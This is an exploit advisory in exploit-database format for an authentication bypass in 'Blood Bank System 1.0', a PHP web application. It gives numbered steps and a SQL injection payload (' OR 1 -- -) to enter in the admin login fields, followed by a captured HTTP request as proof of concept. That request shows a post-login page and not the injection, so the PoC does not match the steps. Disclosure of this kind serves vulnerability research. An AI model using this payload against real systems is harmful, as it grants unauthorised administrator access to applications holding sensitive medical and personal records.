Blood Bank System 1.0 – Authentication Bypass
# Exploit Title: Blood Bank System 1.0 - Authentication Bypass # Date: 30-9-2021 # Exploit Author: Nitin Sharma (vidvansh) # Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code/ # Software Link : https://download.code-projects.org/details/f44a4ba9-bc33-48c3-b030-02f62117d230 # Version: 1.0 # Tested on: Windows 10 , Apache , Mysql # Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts. #Steps-To-Reproduce: Step 1 Go to the Product admin panel http://localhost/bloodbank/login.php. Step 2 – Enter anything in username and password Step 3 – Click on Login and capture the request in the burp suite Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -. Step 5 – Click forward and now you will be logged in as admin. # PoC: GET /bloodbank/file/../bloodrequest.php?msg=Gandhi%20hospital%20have%20logged%20in. HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://localhost Connection: close Referer: http://localhost/bloodbank/login.php Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 # Authentication Bypass: # Go to admin login page (http://localhost/bloodbank/login.php), then use below payload as username and password => Username: ** Random email** Password: ' or 1 -- - |